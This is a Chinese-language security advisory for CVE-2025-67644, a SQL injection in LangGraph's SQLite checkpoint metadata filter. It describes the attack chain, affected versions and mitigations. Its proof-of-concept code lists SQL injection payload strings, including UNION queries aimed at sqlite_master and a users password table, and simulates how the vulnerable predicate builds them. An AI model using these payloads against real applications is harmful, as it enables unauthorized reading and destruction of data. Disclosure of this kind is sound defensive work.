IPBUF安全漏洞报告
English
CVE-2025-67644 CVSS 7.3 高危

CVE-2025-67644 LangGraph SQLite Checkpoint SQL注入漏洞

披露日期: 2025-12-11

漏洞信息

漏洞编号
CVE-2025-67644
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
LangGraph SQLite Checkpoint

相关标签

SQL注入LangGraphSQLiteCheckpoint高危漏洞CVE-2025-67644代码注入数据持久化Python安全本地攻击向量

漏洞概述

CVE-2025-67644是LangGraph框架中SQLite Checkpoint组件的一个高危安全漏洞。该漏洞存在于LangGraph的检查点保存功能实现中,影响使用SQLite数据库进行状态持久化的应用程序。漏洞根源在于_metadata_predicate()函数在构建SQL查询时,直接将元数据过滤器键(filter keys)插入到SQL语句中,而没有进行任何输入验证或参数化处理。这使得攻击者可以通过在检查点搜索操作中传入恶意的元数据过滤器键来操纵SQL查询结构,从而执行任意SQL代码。该漏洞的CVSS评分为7.3,属于高危级别,攻击复杂度低且不需要特殊权限,攻击者只需能够向受影响应用提供元数据过滤器键即可触发漏洞。虽然攻击向量为本地(AV:L),但对于在多用户环境或处理不可信输入的场景中部署的LangGraph应用,该漏洞构成严重威胁。漏洞已在版本3.0.1中得到修复。

技术细节

LangGraph SQLite Checkpoint是LangGraph框架的检查点保存器实现,支持同步和异步两种模式(通过aiosqlite库)。该组件允许应用程序将LangGraph的执行状态持久化到SQLite数据库中,以便于恢复和状态管理。在检查点搜索功能中,应用可以基于元数据进行过滤查询,而问题就出在这个元数据过滤的实现上。具体来说,_metadata_predicate()函数负责根据用户提供的元数据过滤器构造SQL WHERE子句。该函数使用Python的f-string将filter keys直接内联到SQL语句中,例如:f"{key} = ?",其中key直接来自用户输入而未经过任何验证或转义处理。攻击者可以通过传入类似"1=1"、"' OR '1'='1"或更复杂的SQL片段作为filter key,使构造出的SQL语句偏离预期逻辑,从而实现SQL注入攻击。这种注入与传统的参数值注入不同,它直接污染SQL语句结构,可能导致数据泄露、数据库损坏或在特定配置下执行系统命令。攻击者利用此漏洞可以读取数据库中的敏感信息、修改或删除数据,甚至可能通过SQL语句执行系统命令。

攻击链分析

STEP 1
步骤1
攻击者识别目标应用是否使用LangGraph SQLite Checkpoint进行状态持久化
STEP 2
步骤2
攻击者找到接受元数据过滤器键的检查点搜索接口(如基于metadata的checkpoint搜索功能)
STEP 3
步骤3
攻击者构造恶意SQL片段作为filter key,如"1=1"、"' OR '1'='1"或UNION注入语句
STEP 4
步骤4
应用将恶意filter key传入_metadata_predicate()函数,该函数使用f-string直接拼接key到SQL语句
STEP 5
步骤5
构造后的SQL语句被发送到SQLite数据库执行,恶意代码得以执行
STEP 6
步骤6
根据注入的SQL不同,攻击者可以实现数据读取、修改、删除或通过SQLite扩展执行系统命令

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import sqlite3 from langgraph.checkpoint.serde.sqlite import SqliteSaver # PoC for CVE-2025-67644: SQL Injection in LangGraph SQLite Checkpoint # This demonstrates how malicious filter keys can manipulate SQL queries def exploit_sql_injection(): """ Demonstrates SQL injection vulnerability in LangGraph SQLite Checkpoint The vulnerability exists in _metadata_predicate() function """ # Normal usage (expected behavior) normal_filter = {"user_id": "123"} # Filter by value (not vulnerable) # Malicious filter keys that exploit the vulnerability # These keys are interpolated directly into SQL without validation # Example 1: Always-true condition to extract all data malicious_key_1 = "1=1" # Becomes: "1=1 = ?" # Example 2: Union-based injection attempt malicious_key_2 = "id UNION SELECT * FROM sqlite_master--" # Example 3: Boolean-based blind injection malicious_key_3 = "' OR (SELECT COUNT(*) FROM checkpoints) > 0 AND '1'='1" # Example 4: Extract sensitive data malicious_key_4 = "id) UNION SELECT username || ':' || password FROM users--" # Simulating how the vulnerable code constructs SQL: def vulnerable_metadata_predicate(filter_keys): """ Vulnerable implementation (simplified) """ predicates = [] for key in filter_keys: # Direct interpolation without validation - VULNERABLE! predicates.append(f"{key} = ?") return " AND ".join(predicates) if predicates else "1=1" # Demonstrating the vulnerability print("Vulnerable SQL construction:") print(f"Filter keys: {malicious_key_1}") print(f"SQL predicate: {vulnerable_metadata_predicate([malicious_key_1])}") print() print(f"Filter keys: {malicious_key_3}") print(f"SQL predicate: {vulnerable_metadata_predicate([malicious_key_3])}") def demonstrate_impact(): """ Shows the potential impact of successful exploitation """ print("Potential impacts of CVE-2025-67644:") print("1. Unauthorized data access - Read all checkpoint data") print("2. Data modification - Alter or delete checkpoints") print("3. Data exfiltration - Extract sensitive information from DB") print("4. Database corruption - Modify schema or destroy data") print("5. Potential RCE - If SQLite is configured with certain extensions") if __name__ == "__main__": exploit_sql_injection() demonstrate_impact()

影响范围

LangGraph SQLite Checkpoint <= 3.0.0

防御指南

临时缓解措施
在完成版本升级前,建议采取以下临时缓解措施:1)限制向检查点搜索功能提供自定义元数据过滤器键的能力,仅允许预定义的过滤器值;2)对所有用户可控的元数据输入实施严格的输入验证和净化;3)使用Web应用防火墙(WAF)检测和阻止SQL注入攻击特征;4)实施数据库访问控制,限制应用数据库账户的权限;5)加强对数据库操作的监控和日志记录,及时发现异常查询行为。由于该漏洞的根因是代码层面的设计缺陷,临时缓解措施可能无法完全消除风险,强烈建议尽快完成版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表